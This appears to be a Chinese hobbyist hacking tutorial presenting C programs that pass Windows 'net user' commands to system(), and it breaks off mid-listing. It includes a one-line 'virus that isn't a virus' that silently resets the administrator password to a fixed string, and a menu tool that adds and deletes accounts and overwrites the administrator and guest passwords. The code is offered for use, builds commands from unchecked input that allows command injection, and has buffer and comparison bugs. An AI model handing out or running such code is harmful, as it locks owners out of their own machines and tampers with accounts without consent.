其实这两个东西很简单,就是运用了"system"函数调用DOS中的"net user"命令
简介"net user": 查看一个用户的详细信息:net user *** /*以下的"***"代表用户名,"###"代表密码*/
添加一个用户 :net user *** /add
删除一个用户 :net user *** /del
更改一个用户的密码 :net user *** ###
这样一来,整个东西就清晰多了.
所以:"不是病毒的病毒"的源代码就相当简单(一句话)
main()
{
system("net user administrator woshihaichong");
}
这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介)
那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了.
刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分.
功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主函数)中用"switch"调用.
2000/XP 用户名/密码 终结者"的主要函数与思路:
它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=="")"(按任意键继续),"strcat"(DOS命令的合成).
运用"strcat"来合成命令:(比如添加一个用户的模块)
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); /*用"strcat"把不同的部分合起来,构成最终的"syscmd"*/
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
运用"switch"就不用多说了,另外的函数上面包括了.
"2000/XP 用户名/密码 终结者"源代码:
#include <stdio.h>
#include <string.h>
void lau() /*查看所有用户的函数*/
{
system("net user");printf("\n");
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void caup() /*改变一个用户密码的函数*/
{
char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
printf("Name=");
scanf("%s",&name);printf("\n");
printf("Passwork=");
scanf("%s",&passwork);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
system(syscmd);
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void aau() /*添加一个用户的函数*/
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void dau() /*删除一个用户的函数*/
{
char syscmd[65]="net user ",name[35],fj[]=" /del",kg[]=" ";
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void ctp() /*改变"匿名"与"来宾"的系统关键帐户的密码的函数*/
{
system("net user administrator eyixiugai");
system("net user guest eyixiugai");
printf("The Passwork Has Been Changed.\n\n");
printf("Now, The Passwork is : eyixiugai\n\n");
bu:printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void laubsd() /*仔细查看的函数*/
{
char syscmd[50]="net user ",name[35];
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);
system(syscmd);
printf("\nPress Any Key To Continue . . . ");
while(getch()=="");
}
void gm() /*介绍自己的函数(那里面还有"bbc.bc-cn.com"呢~!)*/
{
printf("\n\nMade By Hackerjiang , QQ:298218699\n\n");
printf("Welcome To bbc.bc-cn.com\n\n");
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void main() /*引导体(主函数)*/
{
int pd; /*"pd"是"判断"*/
printf("\n\nObject Has Been Strated\n\n");
strat:printf("\n--------------------------------------------------\n"); /*用"goto"循环*/
printf("1:Look All User.\n\n");
printf("2:Change A User Passwork.\n\n");
printf("3:Add A User.\n\n");
printf("4:Del A User.\n\n");
printf("5:Change The Passwork For Administrator/Guest. _Attention_\n\n");
printf("6:Look A User By System Data.\n\n");
printf("7:Goodman\n\n");
printf("What Can I Do For You ? ");
printf("\n---------------------------------------------------\n\n");
scanf("%d",&pd);
switch(pd)
{
case 1:lau();break;
case 2:caup();break;
case 3:aau();break;
case 4:dau();break;
case 5:ctp();break;
case 6:laubsd();break;
case 7:gm();break;
